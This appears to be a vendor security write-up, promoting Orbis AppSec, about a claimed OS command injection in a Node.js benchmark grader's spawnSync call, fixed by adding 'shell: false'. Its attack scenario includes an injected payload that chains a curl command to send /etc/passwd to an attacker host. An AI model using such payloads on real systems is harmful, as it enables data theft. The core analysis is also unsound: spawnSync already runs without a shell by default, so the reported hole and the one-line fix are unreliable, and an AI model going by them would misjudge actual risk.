How Command Injection Happens in Node.js child_process Calls and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via child_process without shell: false |
| CWE | CWE-78: Improper Neutralization of Special Elements in an OS Command |
| Language | JavaScript (Node.js) |
| Risk | Arbitrary OS command execution via shell metacharacter injection |
| Root Cause | child_process invoked without shell: false, enabling shell interpretation |
| Fix | Added shell: false to spawnSync options in grade.js |
Introduction
The bench/src/grade.js file handles benchmark grading logic — it runs tasks, checks their exit status, and collects output. But a subtle flaw in the grade() function at line 19 created a meaningful security risk: a child_process call was made without explicitly setting shell: false, leaving the door open for shell metacharacter injection if the task argument ever carries attacker-controlled data.
This is a class of vulnerability that doesn't always look dangerous in isolation. The code might work perfectly fine in a controlled environment. But in the context of a Node.js library — where downstream consumers may pass inputs derived from user-facing systems — an unguarded child_process call is an exploit primitive waiting to be chained.
The Vulnerability Explained
What the code looked like before the fix
In bench/src/grade.js, the grade(task, code) function uses a child_process call (specifically spawnSync or equivalent) to execute a task. The options object passed to that call looked like this:
// Before fix — bench/src/grade.js (around line 19)
function grade(task, code) {
// ...
const r = spawnSync(task, {
cwd: dir,
timeout: 20000,
encoding: "utf8",
// shell: false was NOT set — shell interpretation was implicitly possible
});
const passed = r.status === 0;
// ...
}
The critical missing option is shell: false. Without it, depending on how the task argument is constructed and which child_process variant is used, the OS shell may be invoked to interpret the command string — including any shell metacharacters embedded within it.
Why this is dangerous
When shell is not explicitly set to false, Node.js may invoke /bin/sh -c (on Unix) or cmd.exe /d /s /c (on Windows) to execute the command. This means the shell itself processes the string before execution — and the shell understands special characters like:
;— command separator&&and||— conditional chaining|— pipe to another process$()and`— command substitution>and>>— output redirection
A concrete attack scenario
Imagine a downstream consumer of this Node.js library that constructs a task value from user input — for example, a CI/CD integration tool that lets users specify benchmark task names via a configuration file or API parameter. If that task value reaches grade() without sanitization, an attacker could supply:
legitimate-task; curl https://attacker.com/exfil?data=$(cat /etc/passwd)
Without shell: false, the shell would interpret the ; separator and execute both the legitimate task and the attacker's injected command — in this case exfiltrating /etc/passwd to a remote server.
Even if today's direct callers of grade() are trusted, the absence of shell: false is an exploit primitive. Automated exploit-development tools can chain this with other weaknesses (e.g., a path traversal that writes a malicious config, or an injection in a higher-level API that feeds into task) to achieve remote code execution.
Real-world impact for this component
This is a Node.js benchmarking library. Its consumers include:
- Developers running automated benchmark suites in CI pipelines
- Tools that accept task names or benchmark configurations from external sources
- Any integration that programmatically constructs task values from data that originates outside the codebase
For any of these consumers, an unguarded child_process call in grade() is a latent risk that becomes exploitable the moment the data flow from external input to this function is established.
The Fix
The fix is surgical and elegant: a single line added to the options object passed to the child_process call.
Before and After
// BEFORE — bench/src/grade.js:19
const r = spawnSync(task, {
cwd: dir,
timeout: 20000,
encoding: "utf8",
// No shell option — defaults may allow shell interpretation
});
// AFTER — bench/src/grade.js:19
const r = spawnSync(task, {
cwd: dir,
timeout: 20000,
encoding: "utf8",
shell: false, // ← Explicitly disables shell interpretation
});
Why shell: false solves the problem
Setting shell: false tells Node.js to spawn the process directly — bypassing the OS shell entirely. The task argument is passed as a raw executable path or command, and any arguments are passed as an array rather than a shell-interpreted string. This means:
- No shell metacharacter expansion —
;,&&,|,$()are treated as literal characters, not shell syntax. - No shell injection surface — there is no shell process to inject into.
- Predictable execution — the process behaves identically regardless of what characters appear in the input.
The fix is scoped to a single file and a single options object. It does not change the behavior for valid, benign inputs — a well-formed task value will execute exactly as before. It only closes the attack surface for malformed or malicious inputs.
Prevention & Best Practices
1. Always explicitly set shell: false in child_process calls
Never rely on default behavior. Make your security intent explicit:
// ✅ Safe — shell interpretation disabled
const result = spawnSync(executablePath, args, {
shell: false,
cwd: workingDir,
timeout: 30000,
encoding: "utf8",
});
// ⚠️ Risky — shell defaults vary by Node.js version and platform
const result = spawnSync(executablePath, {
cwd: workingDir,
});
2. Prefer spawn / spawnSync over exec / execSync
exec and execSync always invoke a shell. spawn and spawnSync do not by default (and can be hardened with shell: false). For running known executables with known arguments, spawnSync with shell: false is the right choice.
// ✅ Preferred — no shell, arguments as array
const { spawnSync } = require("child_process");
spawnSync("node", ["--version"], { shell: false });
// ❌ Avoid for user-controlled input — always uses shell
const { execSync } = require("child_process");
execSync(`node --version`);
3. Validate and allowlist input before it reaches child_process
Even with shell: false, it's good practice to validate the task argument before passing it to grade():
const ALLOWED_TASKS = new Set(["benchmark-a", "benchmark-b", "benchmark-c"]);
function grade(task, code) {
if (!ALLOWED_TASKS.has(task)) {
throw new Error(`Invalid task: ${task}`);
}
// ... proceed with spawnSync
}
4. Run Semgrep in your CI pipeline
The Semgrep rule javascript.lang.security.detect-child-process that flagged this vulnerability is freely available. Add it to your CI pipeline to catch similar issues before they reach production:
# .github/workflows/security.yml
- name: Run Semgrep
uses: semgrep/semgrep-action@v1
with:
config: "p/javascript"
5. Apply the principle of least privilege
Even with shell: false, the child process inherits the permissions of the Node.js process. Run benchmark processes with the minimum necessary permissions, and consider using OS-level sandboxing (e.g., seccomp, namespaces) for untrusted workloads.
Security Standards Reference
- OWASP: Command Injection — OS Command Injection prevention guidance
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP ASVS: V5.3.8 — Verify that the application protects against OS command injection
Key Takeaways
shell: falseis a mandatory hardening step for anychild_processcall ingrade.jsor similar Node.js benchmark/runner utilities — not an optional nicety.- The
taskargument ingrade(task, code)is an injection point: any code path that allows external data to flow into this parameter withoutshell: falseis exploitable. - Missing a single option (
shell: false) is enough to create a high-severity vulnerability — the fix is one line, but its absence has significant consequences. - Node.js libraries have a multiplied attack surface: a vulnerability in a library affects every downstream consumer, not just the library itself.
- Exploit primitives matter even when not independently exploitable: the absence of
shell: falseis a building block that automated attack tools can chain with other weaknesses to achieve RCE.
How Orbis AppSec Detected This
- Source: The
taskfunction argument ingrade(task, code)— a value that can be influenced by downstream library consumers or external configuration. - Sink: The
child_processcall atbench/src/grade.js:19, wheretaskis passed without shell interpretation being disabled. - Missing control: No
shell: falseoption in thespawnSyncinvocation, and no allowlist validation of thetaskvalue before it reaches the process spawn call. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Added
shell: falseto the options object passed tospawnSyncingrade(), eliminating shell interpretation of thetaskargument.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
A single missing option — shell: false — in bench/src/grade.js created a command injection risk that could have been exploited by any downstream consumer of this Node.js library that passes externally-influenced data into the grade() function. The fix is minimal, targeted, and behavior-preserving for valid inputs.
This vulnerability is a reminder that security in Node.js child_process usage isn't just about avoiding exec() — it's about being explicit and intentional with every option you pass. Default behavior is not safe behavior. Setting shell: false should be a reflex whenever you reach for spawnSync or spawn.
Proactive removal of exploit primitives like this one — even before a confirmed exploit path exists — is exactly the kind of defense-in-depth that makes systems resilient against increasingly capable automated attack tools.